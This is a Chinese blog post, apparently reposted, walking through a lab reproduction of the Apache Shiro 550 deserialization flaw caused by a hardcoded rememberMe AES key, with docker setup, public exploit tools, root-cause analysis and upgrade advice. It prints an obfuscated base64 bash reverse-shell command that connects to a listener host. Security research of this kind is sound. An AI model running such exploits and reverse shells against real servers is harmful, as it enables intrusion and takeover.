【技术分享】shiro550漏洞复现与研究 |
您所在的位置:网站首页 › aes加解密在线 › 【技术分享】shiro550漏洞复现与研究 |
尽管目前已经更新了许多版本,官方并没有反序列化漏洞本身解决,而是通过去掉硬编码的密钥,使其每次生成一个密钥来解决该漏洞。但是,目前一些开源系统、教程范例代码都使用来固定的编码,这里我们可以通过搜索引擎、github等来收集密钥,提高漏洞检测与利用的成功率。 2 漏洞复现 1.环境搭建 获取docker镜像 docker pull medicean/vulapps:s_shiro_1 重启docker systemctl restart docker 启动docker镜像: docker run -d -p 8081:8080 medicean/vulapps:s_shiro_1 访问: 验证 抓包分析 2.漏洞利用(1)—脚本攻击 1. 下载shiro利用脚本,下载地址https://github.com/zhzyker/shiro-1.2.4-rce 2 . 使用工具进行验证 python3 shiro-1.2.4_rce.py http://10.10.10.128:8081/login 3.使用linux进入linuxshell模式。 linux系统需要编码之后,绕后再进行nc反弹。 http://www.jackson-t.ca/runtime-exec-payloads.html 5.然后使用nc反弹 漏洞利用(2)—自动化工具攻击 1.选择shiro550 2.然后使用ceye.io进行利用 3.验证key值 4.检测到漏洞,然后使用nc反弹shell 5.然后监听到shell。 漏洞利用方式3:burp插件 感谢作者(pmiaowu)提供的插件。 下载地址:https://github.com/pmiaowu/BurpShiroPassiveScan 3 vulhub环境复现 1.启动环境 2.访问主页 3.使用脚本进行漏洞检测 4.查看命令是否成功 4.使用命令: bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xMC4xMjgvNjY2NiAwPiYx}|{base64,-d}|{bash,-i} 反弹shell 5.执行命令 6.反弹成功,拿到权限。 4 漏洞原理分析 原理分析:根据shiro报告分析可以得到,主要存在几个重要的点: rememberMe cookie CookieRememberMeManager.java Base64 AES 加密密钥硬编码 Java serialization 1.首先正常登录,然后生成带有rememberme的返回cookie值。 2.生成cookie,shiro会提供rememberme功能,可以通过cookie记录登录用户,从而记录登录用户的身份认证信息,即下次无需登录即可访问。处理rememberme的cookie的类为org.apache.shiro.web.mgt.CookieRememberMeManager 3.之后进入serialize,对登录认证信息进行序列化 4.然后加密,调用aes算法。 5.加密结束,然后在在org/apache/shiro/web/mgt/CookieRememberMeManager.java的rememberSerializedIdentity方法中进行base64编码,并通过response返回 6.解析cookie 7.先解密在反序列化 8.AES是对称加密,加解密密钥都是相同的,并且shiro都是将密钥硬编码 9.调用crypt方法利用密文,key,iv进行解密,解密完成后进入反序列化,看上面的public AbstractRememberMeManager这里用的是默认反序列化类,然后触发生成反序列化。 5 修复建议 Apache Shiro 1.2.5以下版本,建议抓紧升级shiro的版本,另一个修复建议就是将默认Key加密改为生成随机的Key加密。 6 总结 web渗透不只有owasp10常见的一些漏洞,我们还需要学习一些框架的漏洞还有一些中间件的漏洞,自己的知识面广了,自己的渗透路就会更加宽阔。本文为初学者对中间件漏洞的一些理解。会的大佬跳过哈。 - 结尾 - 【技术分享】pocassist—全新的开源在线poc测试框架 【技术分享】从0到1——Hook内核系统调用 【技术分享】前尘—数据连接池下的至暗之处 戳“阅读原文”查看更多内容返回搜狐,查看更多 |
今日新闻 |
推荐新闻 |
CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3 |